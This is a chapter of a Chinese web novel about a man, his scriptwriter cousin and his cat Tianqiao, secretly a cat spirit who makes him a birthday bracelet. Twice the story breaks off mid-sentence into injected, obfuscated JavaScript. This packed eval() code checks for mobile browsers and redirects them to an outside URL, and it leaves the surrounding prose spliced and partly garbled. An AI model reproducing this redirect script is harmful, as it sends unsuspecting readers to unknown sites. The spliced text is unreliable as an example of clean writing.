女主养的猫不见了,六神无主之际遇到男主,请他帮忙寻找。他通过猫咪一天的行踪抽丝剥茧,循着蛛丝马迹一路摸到猫贩子的落脚地,然后一边抱出伤痕累累的猫猫,一边假装拉架,给女主创造机会揍得猫贩子鼻青脸肿。 男主个人线(待写)是当代种田文学,女主个人线(待写)是家长里短极品亲戚虐渣打脸爽文,一文一武,一柔一刚,一理性一感性,是天生对头,也是天生一对的互补。 观昏晓:牛逼。 不得不说,临卿和真的有点东西,最佳编剧实至名归,单只一条感情线就写得趣味横生,不硬凹般配,不硬熬糖精,让观众先走进他们的生活,他们本身,再从他们的交往拉扯中清晰体会到感情的升温、变质全过程,自然而然地嗑上CP。 本来一切都很好,初稿即可定稿,观昏晓夸奖的话在嘴里增删润色好几遍,硬是卡在好几个似曾相识的细节上,怎么都说不出口。 “怎么样表弟,你觉得哪里有问题?”临卿和挂着两个巨大的黑眼圈,满脸期待地看着他,笔记本电脑就搁在腿上,随时做好修改准备。 观昏晓想了又想,字斟句酌地问:“我看女主暴打猫贩子这段,你特意做了动作设计,看着有点眼熟,有原型吗?” “有啊!”一张嘴就吐仙气的临卿和用力点头,“初中那会儿,你被校霸带人围殴的事你还记得吗?当时我刚好来祁县看你,接到你们班长的电话后急匆匆地赶去解救,一到地方就看见你一挑五揍翻全场,踩着校霸脑袋问他要不要再打的旷世绝景,震撼了我幼小的心灵好几年!” 观昏晓心头升起不好的预感:“……所以?” “所以我把你揍校霸那几招化用给了我的女主,怎么样?是不是只看文字也很帅?有没有更喜欢以前的自己了?” “……我谢谢你。” 他到底为什么会产生自己不喜欢以前的自己的错觉?! 临卿和这会儿满脑子都是剧本,也没意识到自己被阴阳怪气了,兴冲冲扯着表弟的袖子说:“不仅这里,男女主的初吻我也是从你身上取材的!” “什么?”观昏晓一愣。 他几时跟人接过吻? 男女主的初吻是吻额头,他也没吻过谁的额头啊? 正疑惑着,观昏晓忽然听见门口传来一声大受震撼的猫叫,回头一看,就见天窍在瓷砖地板上脚滑打跌,呲溜着就过来了,一头撞在他腿上也没反应,自顾自地仰望临卿和,愕然瞪大眼睛。 初吻?什么初吻?取材是什么意思? 之前调查的人没跟它说观昏晓谈过恋爱啊! “男主……不是,天窍你来啦!” 看到主宠两个如出一辙的表情,临卿和的笑容更灿烂了:“就前几天,天窍给你赔罪的时候,你不是亲了它额头吗?那一幕非常唯美,特别有镜头感、小说感,我也是因此有了灵感,才得以爆肝三天写完感情线!” 听他说完,天窍支楞成兔子的耳朵才缓缓放下去,松了口气的同时,也忍不住随着他的表情回味那个吻,嘴角上扬,溜圆眼睛弯弯,尾尖惬意地拍动。 它是高兴了,观昏晓却傻眼了。 他抄起剧本糊表哥脸上,皮笑肉不笑地问:“主动亲额头的是女主,所以你从我身上取的是女主的材?” 临卿和的笑意僵在脸上,如同风吹日晒后斑驳的旧报纸,一半死板,一半裂开。 “这个,咳,我可以解释。”他拿下剧本,小心翼翼地藏到身后,“咱们就是说创作这种事,重要的不是……诶、诶……表弟你别动手……别拿计算机……不是,剪刀也不行……哎呀!” 表兄弟二人在快递点里项庄舞剑,荆轲刺秦,短兵相接,廉颇负荆——主要是指临卿和抱头鼠窜,用最大的音量求最怂的绕,看得天窍嘎嘎乐。 笑闹过后,观昏晓call来一辆摩的,将表哥踹上车,嘱咐司机:“师傅,麻烦你盯着他进屋关门再走,我怕他一下车就睡死在门口。” 带着厚重机车帽的酷哥司机比了个OK:“了解,加个微信,给你录视频。” “您是这个。”观昏晓冲他竖起了大拇指。 送走上车后还不老实,嚷嚷着“怀民亦未寝我怎能寝”的神志不清的表哥,观昏晓长出一口气,有种被孩子折磨大半个暑假后终于开学了的轻松感。 回到工位,他拍拍蹲坐在桌面上甩着尾巴的小猫团,顺手抄起手机,开屏即收获惊喜。 “我喜欢的人心有六窍”上传了终稿。 瘫倒在椅背上的观昏晓瞬间坐直,迫不及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810524|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待地点开大图,草图时期便惊艳他许久的成稿映入眼帘,如同一个漩涡,将他的意识拽进画手笔下的意境。 水彩画最大的特点就是颜色丰富,层次分明,重意也不忽略于形,却少有人能做到在最大化意境的同时,将画中的人与物描绘到纤毫毕现,如透纸背的程度。 这位画手是他见过的第一个。 与草稿粗略渲染的朦胧美不同,成图以细腻生动的笔触把那种隔世经年的感觉完美铺陈出来,路灯不仅仅是路灯,是浩浩汤汤的岁月洪流;对视不仅仅是对视,是久别再会的情感荡动。 无论鉴赏能力高低,任何人在看到这幅画的瞬间,脑海中蹦出的第一个词必然是“重逢”。 人与猫的重逢,现在与过去的交汇,历史与现实的叠合。 光阴流转,人世更替,草木枯荣。 尽在其中。 观昏晓欣赏了整整二十分钟,才把图保存下来,又抱过天窍。 “宝贝,看,这是我给我们约的稿。”他指了指屏幕,下巴搭在天窍头顶轻轻蹭了蹭,语气柔软,“好看吧?” 天窍向后仰头,与恰好低头的他鼻尖相抵,温温柔柔地“喵”了长长的一声。 好看。 你一直都这么好看。 …… 得到许可,“我喜欢的人心有六窍”下午两点上传了新例图。 我喜欢的人心有六窍:黑箱例图。感谢粉丝朋友给我自由发挥的空间,画得很开心。 观黑白:谢谢太太!免费的果然是最贵的! 我喜欢的人心有六窍回复观黑白:这句话可以这样用?长见识了。 对于画手的偏心,不仅观昏晓习惯,他的粉丝们也习惯了。 一生只为金钱折腰的鸽子:我乘坐的地铁方才大抵是穿过了虫洞……谁能告诉我距离抽奖结束一共才过去几天?! 我对钱可太感兴趣了:五天!五天!!五天就画出精度这么高的赠图!!!游戏党浑身是肝,太太你浑身都是游戏党啊! 不爱玩游戏:?我成肝.zip了? 玄学能吃吗:你上辈子是不是在佛前苦苦求了几百年才有今生这么好的运气?出来走两步!@观黑白 ⊙▽⊙→O(≧▽≦)O :抽中赠图的我躺得很安详,我已经做好带着这幅画入土陪葬的准备。 让我欧一次怎么了:楼上欧皇食我降龙十八掌! ⊙▽⊙→O(≧▽≦)O回复让我欧一次怎么了:反弹! 新例图的发布再次将画手送上站内热榜第一,吸引来更多路人,各种言论,并转化成源源不断的粉丝和约稿邀请,消息提示几乎塞爆他的后台信箱。 天窍却并不理会这些,按照五天一张稿件的速度慢慢出稿,更新例图,人气逐渐水涨船高,稿子都没画几张就升级成了大神画手,开创绘江河创站以来的最短成神记录。 日子一天天过,天窍的视野按部就班地推进,观昏晓则过上了有猫陪,有图看,有表哥解闷,有工作挣钱的日子,快活似神仙。 一晃眼已是十二月,入冬了。 21.生日 “喵呜喵呜——喵~” 一大清早,晨雾还未散,天将将亮的时候,观家门前便响起此起彼伏的猫叫。 院子里,仓库侧面的鸟架子旁刚刚移栽一株枣树,光秃秃的枝条打下错落阴影,鸟雀们在阴影间穿梭跳跃,振翅梳毛,一只只圆鼓鼓毛绒绒,像吹满气的圆球。 祁县的冬天不大冷,气温基本在十度以上,水缸里的睡莲凋谢了,只剩几片圆叶铺在水面,供锦鲤大爷避寒取暖。 苔痕斑斑的石阶上,天窍端坐仰首,宝相庄严,比之两个多月前长大了一点点。 听到臣子的呼唤,它轻巧跑下台阶,翻墙而出,与三花妹妹和它的狗腿子们碰面。 冬天毛长,小三花看着也圆了一圈,杏核眼水波盈盈,仿佛古画上回眸的狸奴,可爱又妩媚。 “老大,你要的东西。”三花垂头,顶了顶身前的塑料袋,笑眯眯道:“今天是观先生的生日,橘哥本来想给他抓两只老鼠庆生,被我和狸花劝住了。” “做得不错。”天窍伸爪轻拍它,以示赞赏,“今晚的猎物多分你一成,我亲自去抓。” “谢谢老大!” 小三花立起身子拜了两下,不再打扰,领着狗腿子们上街遛弯,瞬间找个宽敞地方晒太阳。 小弟们走后,天窍就近寻了个隐蔽角落化为人身,将一身繁复精致的古装变幻成普通的毛衣长裤,从上衣口袋里摸出一副金丝眼镜戴好,施施然坐到路边的长椅上。 他打开袋子,里面放着十几颗彩色的小石头,边沿圆滑,形状各异,表面残留着淡淡的水腥气,光洁如琉璃。 祁县南面有野山清溪,是学校组织春游秋游的绝佳去处。溪里散落着许多鹅卵石,不知道受什么影响,色彩斑斓质地剔透,是天然的工艺品。 天窍拜托李婆婆家的半妖小猫带三花去搜集了一些,用来给观昏晓做生日礼物。 自己还是猫,不能送他什么珍贵东西,上回用来赔罪的手工竹镯他似乎很喜欢,戴到竹片泛黄也舍不得摘下,天窍打算再给他做一串链子。 今天是观昏晓的二十九岁生日,他挑出大小、光泽相近,颜色相衬的二十九颗石子打磨光滑,再以妖力凿出小孔,穿在弹力线上。 线的两头各留一节,编成精致繁复的绳结,再从他特意准备的妖力结晶中穿出、拧紧,牢牢固定。 不费多少气力,一条手链就做好了。天窍将它拎过头顶,变换角度,看晶莹剔透的晶石在不同光线下折射出漂亮的光芒,许久才满意点头。 他微仰起脸,缠绕在镜框上的金丝垂在鬓边,轻轻晃动,镜片下瑰丽的紫瞳浮起笑意,温柔又忐忑。 “以后我不在时,它会替我保护你。希望你会喜欢我送你的……第一份生日礼物。” …… “表哥,早。” “早,生日快乐!”临卿和从厨房里探头,“晓啊,今天你生日,就别做饭了,交给我吧!” 观昏晓踩着棉拖站在门槛后,宽松的针织衫下是更宽松的圆领休闲服,将他板正笔挺的身形也勾勒得清瘦隽秀。 他昨晚没睡好,做了一夜奇奇怪怪又记不清具体内容的梦,眼下有浅浅的乌青,眉心也一阵一阵地抽痛,让他眼睛都睁不太开。 所幸今天休假,观昏晓在床上赖了一会儿,现在起来依旧觉得身上懒洋洋的,便又窝进躺椅,盖上毛毯,在温暖的日光中吱呀摇晃,活像个退休老大爷。 “表哥,今天你要做饭?”他掩嘴打了个哈欠,长而卷的睫毛半遮遮慵懒的双眼,“是做番茄炒鸡蛋壳还是豆芽刷锅水汤?今天我生日,不管你做什么,我都会很给面子地吃完,放心地大展身手吧。” “倒反天罡!属实是倒反天罡!”临卿和痛心疾首,“你为什么要在自己生日的时候迁就别人?” 观昏晓冷笑:“是啊,为什么呢?这个问题前两年你怎么就没思考过?” “……” 临卿和清清嗓子,若无其事地放下菜刀和大蒜,在衣服上擦擦手,踱出厨房。 他正色道:“谁说我要做菜了?咱们今儿点外卖,我请客!往大了点!晓,你就说你想吃什么吧!” “吃什么……嗯……”观昏晓几不可察地松了口气,撑着头思索,“天气冷,吃点暖乎的吧,火锅怎么样?” “可以是可以,但火锅能点外卖吗?”临卿和疑惑。 观昏晓白他一眼:“点个屁的外卖,你去超市买菜,再买包川香麻辣和川香骨汤锅底,我们自己煮。” “哦哦,行。”临卿和掏出手机,打开备忘录,“点菜吧晓,我给你记着。” “毛肚、黄喉、鸭肠、牛心、猪蹄、牛羊肉、金针菇、娃娃菜……口蘑别忘了,这个涮辣锅好吃。” 观昏晓报了一串菜名,顿了顿,又说:“再买两条鱼,我给天窍做松鼠桂鱼和鱼汤。” “……今天是你生日,能不能多想想自己?”临卿和撇嘴,“那小猫崽子不给你送礼物就算了,还得你为他忙活?要我说,给它买两根火腿肠意思意思得了。” 话音未落,他的余光里突然闪过一道黑影,定睛一看,天窍迈着小碎步从他脚边跑过,右耳上挂着一串莹润的手链,轻盈起跳扑进自己表弟怀里。 天窍鄙视地斜他一眼,扭脸就换了张阳光可爱的笑颜。 它耳朵一低抖落手链,再低头叼起,小心翼翼地戴到观昏晓手上。扣着末端绳结的黑色晶石在他腕下轻晃,衬得他皮肤透亮,像雪堆起来的一般。 观昏晓回过神来,抬手仔细打量这串新饰品,而后用力揉揉天窍的脑袋。 “表哥你看,足够我给它做松鼠桂鱼和鱼汤的礼物。”他向临卿和晃晃手,嘚瑟一笑,旋即又摊开手掌:“你的礼物呢?” “……我去买菜!” 临卿和转身就走。 目送表哥离开,观昏晓胸口微震,闷笑出声。 “这是你买的?”他捏着妖力结晶轻声问道,指腹按着本该冰凉的晶体,入手却带着浅淡微薄的暖意,令他讶异扬眉。 天窍现在是半掉马状态,在观昏晓心里基本等于灵性大圆满半步猫妖的境界,所以懒得装傻,摇头喵呜一声。 观昏晓咂摸一下这句“喵呜”的意思,又问:“你自己做的,用南边溪水底下的彩色石头?” “喵呜喵呜!”天窍用力点头,歪头枕在他胸口,眨巴着圆眼睛看他,隐隐可以看出几分忐忑,“喵?” 观昏晓搔搔它的下巴,笑道:“喜欢,你送什么我都喜欢……当然,老鼠和蟑螂例外。” 天窍鼓嘴。 除了大橘那左半边脑子吃右半边脑子睡家伙,谁会给你送这种东西? 观昏晓倒不是哄它,这条手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811188|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 链虽然材质普通,但颇有设计感,别说是猫,就是人做的,也值得大夸特夸。 他把手链往上捋了捋,拉下袖子盖住,双手环抱天窍,闭上眼睛,在躺椅摇晃的嘎吱声里说:“昨晚做了一堆梦,醒醒睡睡,困死了,陪我再睡一会儿……” 天窍闻言,眉头皱了皱,往上爬行两步,在他颊边轻蹭,又嗅了两下。 没有妖气,没有鬼气,没有邪气。 不是妖邪原因,应该只是普通的失眠多梦。 确认这一点,天窍松了口气,抬爪按在他眉心。爪下灵光一闪而过,化作暖流没入他的脑海,为他舒缓紧绷抽痛的神经。 “唔?”观昏晓哼出低沉的鼻音。 “喵呜。” 没事,安心睡吧,做个好梦。 入夜后,院子里挂起了彩灯,灯球从电线上垂落,一闪一闪,显得站在其中张开双臂,一脸“这是朕为你打下的江山”的临卿和像个奇葩。 “怎么样?好看吗?”他还有脸乐,“这是哥亲自为你挑选,为你安装的星空套装,你躺在躺椅上,不用抬头就能望见漫天星光,是不是很浪漫?” 观昏晓与蹲在自己肩头的天窍对视一眼,以莫大的毅力咽下涌到嘴边的“沙壁兮兮”四个字:“还……可以,就是略显复古和朴实,有一种与时代不符的梦幻。” 临卿和一眯眼:“晓,我是文字工作者,听得懂弦外之音。” “哥,来,咱们进屋吃饭,汤底已经煮沸了,不要浪费时间。” 观昏晓二话不说,握住他的手臂就把他往屋子里拽。 天窍舔爪舔毛,心想:他们真不愧是血缘至亲,转移话题的方式都是一个模子里刻出来的。 客厅中支起圆桌,中间是咕嘟嘟地冒着泡的鸳鸯锅,侧边放了一圈肉菜,价值两千元的蛋糕另开一桌遗世独立,静静散发着金钱的芬芳。 临卿和下了一盘鸭肠,边涮边问:“这蛋糕谁买的?你朋友?出手这么阔绰,男的还是女的?是不是在追你?我……” “据说涮鸭肠的时候话太多,鸭肠会硬得嚼不烂——表哥你能不能闭嘴?乱发散什么思维?”观昏晓白他一眼,热气扑得他面颊微红,眼眸半闭,平时自带刀光剑影的目光此刻却没多少威慑力。 “那你说嘛,谁送的?”临卿和吃了口鸭肠裹小米椒,辣得斯哈斯哈也不肯放弃八卦表弟的机会。 “土豪哥……别这么看我,请自动理解为我的朋友。”观昏晓把口蘑、金针菇和娃娃菜一并下进辣锅,只用公筷翻倒几下就捞到碗里,烟气蒸腾。 “他叫司巍藿,偶然认识的普通朋友,不知道从哪里知道今天是我生日,就近给我点了最贵的蛋糕,还不肯收钱。” 天窍耳朵一动,左右转了转再向后撇,佯装与它无关。 “他很有钱?”临卿和凑近了问。 观昏晓眼神深邃:“他差点就因为和我投缘,送我一辆车。” “……牛逼。” 临卿和顿时就觉得那花枝招展的蛋糕小意婉约起来。 天窍听得好笑,探头瞅着观昏晓碗里的辣菜,琢磨着要不要伸爪扒拉扒拉,让他分自己一点菜叶子尝尝。 蓦的,一种无根无由的异样气息被晚风送入厅堂,天窍扭头看向窗外,可爱的圆眼猛然眯起,瞳孔竖成针尖大小,隐隐逸散出危险的气息。